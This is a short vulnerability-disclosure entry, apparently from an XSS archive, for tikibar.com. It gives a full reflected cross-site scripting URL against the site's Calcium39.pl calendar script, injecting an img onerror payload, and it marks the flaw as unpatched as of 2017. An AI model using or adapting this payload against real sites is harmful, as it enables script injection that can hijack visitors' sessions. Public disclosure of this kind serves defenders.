tikibar.com XSS vulnerability

Vulnerable URL: http://www.tikibar.com/cgi-bin/Calcium39.pl?CalendarName=tikibar=ShowIt=%22%3E%3Cimg/src=%22%3E%22onerror=confirm%27XSSPOSED%27%3E=CalendarName%1Ctikibar=Month=Absolute=Block Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:|...